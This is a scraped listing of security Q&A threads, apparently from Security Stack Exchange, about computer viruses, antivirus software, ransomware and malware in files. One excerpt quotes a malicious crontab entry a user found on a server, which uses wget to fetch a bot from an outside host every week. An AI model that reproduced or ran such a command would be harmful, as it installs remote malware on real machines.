A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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44
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6answers
7k views

Virus Encoded in Video

So I'm not familiar at all with IT Security, but I'm a bit curious about something. I was watching a TV show and at one point, a virus spreads through an office. They investigate and find out that the ...
42
votes
8answers
10k views

Should I get an antivirus for my Mac?

There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as ...
38
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7answers
7k views

Does a virus need to be clicked on to function?

Can a virus infect my Windows XP operating system by its mere presence? I mean, if I copy/paste a virus on my computer and I never click on it, will it infect my computer or will it remain dormant, ...
38
votes
4answers
21k views

Should I get an antivirus for Ubuntu?

Considering the recent thread regarding anti-virus for the Mac I wonder how many of the arguments put forth are relevant today to Linux systems, specifically Ubuntu. There are no known Ubuntu ...
35
votes
7answers
122k views

How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
34
votes
2answers
11k views

What malicious things can happen when clicking on links in email?

I've received a spam from one of my friends (well I'm sure he didn't send it). so there's this link, and i'd thought what exactly would be the implications of clicking the link (i've not clicked it ...
22
votes
4answers
6k views

Are popular porn sites more likely to be infected with malware?

I'm trying to help my friend understand this because he believes that since a site is very popular, that it's less likely to infect its viewers because of its security! Is a popular site less likely ...
21
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2answers
1k views

Cohen's problem

Fred Cohen determined theoritically that viral detetction is an undecidable problem. Can anyone provide an intuitive reasoning for that? Background Fred Cohen experimented with computer viruses ...
20
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6answers
3k views

Malicious Links that Respond to Browsers but not curl or wget

There are some emails with links to people's cracked websites with a malware download Like this kind of email: fake DHL pack station email ... the links often take the form of: http:// ...
20
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4answers
44k views

How to inject executable, malicious code into PDF, JPEG, MP3, etc.?

I wanted to know if its generally possible to inject executable code into files like PDFs or JPEGs etc., or must there be some kind of security hole in the application? And if so, how would one do ...
20
votes
2answers
4k views

How does a crypter for bypassing antivirus detection work?

I am talking about crypters used to encrypt files like viruses and keyloggers for the sole purpose of bypassing antivirus detection. How do they work?
20
votes
3answers
1k views

Are older viruses removed from virus definition files?

Antivirus software receives constant updates in the form of virus definition files, containing the patterns used to identify viruses. It is a feature present on most (if not all) major AV for at least ...
19
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3answers
4k views

How can I tell if I have the citadel virus without downloading an antivirus?

I recently received an e-mail from Virgin Media indicating that I might have the Citadel virus. It obviously sounds like a fake e-mail, but I am almost certain it is genuine, as they had my name and ...
19
votes
4answers
2k views

Are anti-virus companies companies regularly committing software piracy?

As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software: This got me to thinking, what ...
18
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7answers
1k views

Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
17
votes
5answers
1k views

Why would a virus writer bother to check to see if a machine is infected before infecting it?

I was looking at the tripartite structure of a virus, and it seems to check to see if a computer is infected before infecting it with the virus. Would this be an attempt to use files that are already ...
17
votes
7answers
880 views

How to deal with a person who gets easily fooled by internet and mail scams?

alternative title: How to deal with a person who has gotten paranoid and doesn't want to go online anymore? A person, who has over the years been scammed many times, by bad spam/fraud emails, and ...
17
votes
2answers
768 views

Is there a real possibility of getting malware by “drive-by”?

I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one? Assuming using only Firefox / Chrome and ...
17
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4answers
4k views

What is the corrupted image vulnerability? How does it work?

What exactly happens when someone injects malicious binary code into an image file (on Windows)? How is that done?
16
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2answers
782 views

Could once infected machine be ever trusted again?

I'm just about to switch to a new SSD drive, so I figured it's a good occasion for a really, really fresh start. I reconsidered every installed piece of software, uninstalled lots of crap ...
15
votes
3answers
7k views

What does this javascript file do? Is this a virus?

While searching on Google I found a website that shows one set of content to the Google Bot and an other to users (by redirecting to a new domain), and also a very suspicious Javascript file. Maybe ...
15
votes
3answers
7k views

Do I really need an Anti-Virus software if I'm careful about where I browse?

A friend told to me the following: I don't use Anti-Virus software at all, I am just careful about where I go and what I click on. I've also heard this from other people as I've repaired their ...
14
votes
6answers
6k views

Finding a specific malware sample for malware analysis purposes

I wish to analyze the changes made by a specific virus. For example, Win32.Sality. Where can I get the sample of this, or other similar, malware for testing?
13
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3answers
6k views

Can Cryptolocker (Or Other Ransomware) Encrypt Files That Are Already Encrypted?

If you have already encrypted files, are they still vulnerable to being encrypted a second time by a program like Cryptolocker, or would this protect them?
13
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3answers
2k views

FTP hacked, planted file [closed]

Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what ...
13
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4answers
2k views

How is a worm different from a virus?

In spite of various online articles, I'm a bit unclear on the distinction between a "worm" and a "virus". Two related questions-- Is there a useful and clear distinction here or no? If so, what is ...
13
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3answers
434 views

remote desktop connection to a potentially compromised machine

I am using rdesktop client on Linux to connect to windows machines. If some of these machines were compromised by some evil malware/virus/worm/trojan, is there any way for the malware to "jump" to my ...
12
votes
3answers
4k views

What file formats are known to be unsafe?

I recently found out pdf's can contain viruses, and from the impression I got its more than a buffer overflow error (I heard it may visit urls automatically but the person sounded unsure) What are ...
12
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8answers
6k views

Can malware be attached to an image?

I have a small number of employees who use a company computer but these people aren't very tech savvy. They use an email client and a messaging client. I'm pretty sure they wouldn't click on .exe or ...
12
votes
5answers
982 views

Detection and analysis of unknown malware

Suppose I have a binary which is suspicious. How can I determine whether it is malicious, and if it is, reverse-engineer how it works and what it does? For example, maybe using static analysis? Are ...
12
votes
2answers
3k views

Sites being redirected to adult site in all devices [closed]

From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error. First guess is obviously that my system is ...
12
votes
4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
11
votes
7answers
3k views

Can viruses actually inject their code in other processes?

Can a virus really inject its own code into a process so it stays on your computer permantly? The only way to actually remove it is to reinstall your OS. My question is how can it do that without ...
11
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5answers
284 views

Security of root terminal (su -) when logged into X

I often log into X as normal user (of course), open terminal and switch to root: su - I have then a terminal owned by user but effectively with root privileges. Are there any security issues in ...
10
votes
2answers
16k views

Advice on what to do after being hacked?

After running a system scan earlier today, I found that my computer had been infected by a trojan horse. My reason for running the scan was because Windows kept shutting down and then recovering. ...
10
votes
4answers
1k views

What is Net-Worm.PHP.Mongiko trying to do?

I found several lines of this request in my web server access log: Source IP Dest IP Request Stat User agent 217.172.190.19 ...
9
votes
6answers
8k views

how to protect my USB stick from Viruses

I repair a lot of computers with viruses, malware, and what not, and I have one problem that I am struggling to find a solution for. Whenever I connect my USB stick that has the tools I need for the ...
9
votes
4answers
2k views

Is it safe to serve any user uploaded file under only white-listed MIME content types?

Let's say I develop an application that, Allows any user to upload a file of only white listed mime content type and extensions (word and pdf). Serves those files with the allowed extension and ...
9
votes
2answers
3k views

How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
9
votes
1answer
142 views

Virus attached or included in VST(i) Plugin

VST Plugins are DLL files available to be put into a folder in the Music Tool which then can use this as a plugin. Does VST have a mechanism not to execute malicious code inside the dll file? Can I ...
9
votes
3answers
337 views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
8
votes
4answers
940 views

Is disabling auto-run enough to protect against malicious code from removable media automatically infecting a machine?

If I block auto-run on a windows machine, is this enough to protect it from malicious code (assuming I don't run any files manually)? Or are there known vulnerabilities that may cause infection?
8
votes
6answers
14k views

How can I prevent viruses/malware from infecting my flash drive?

I've a pen drive that I carry to the college lab . It seems all the systems in lab is infected. I need to be able to write to the drive, so I can't simply write protect it. Everytime I insert a ...
8
votes
2answers
958 views

Are there / have there ever been viruses that completely evade virus scanners for very long?

Are there, or have there ever been viruses that completely evade all virus scanners for a long time (e.g. longer than a year?)
8
votes
3answers
3k views

Am I protected from USB autorun malware on Windows 7?

As far as I know, the autorun.inf problem (the possibility of automatically executing code when a USB stick is plugged in) was solved through Windows Updates for XP, and on 7 it is no longer possible ...
8
votes
3answers
1k views

Can I use the same keyboard on both my infected and non-infected computers?

I have a computer which is virus infected. Can I use the same keyboard on both it and a "safe/clean" computer without fear? Keyboards these days seem to come with built in software and thus must ...
8
votes
4answers
13k views

Security issues with allowing Dropbox installations on client PC's in our organisation

Does anyone know if there is any good reasons not to allow Dropbox installations on our client PC's? All the PC's have antivirus installed and running. I know it is an additional attack vector to ...
8
votes
3answers
44k views

CryptoWall 3 - how to prevent and how to decrypt?

My father's computer is now infected with CryptoWall 3, according to the link below. http://www.bleepingcomputer.com/virus-removal/cryptowall-ransomware-information#CryptoWall Is there a way to ...
8
votes
6answers
803 views

What is preventing the widespread common use of MAC-type systems?

Overall question what is preventing the uptake of MAC systems such as SELinux/AppArmor in corporate and desktop computing environments? Why don't you think it isn't already widespread? I do not ...
7
votes
2answers
7k views

Is Buzzdocks a security threat?

A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware. It is not unknown to the internet community (Example 1, Example ...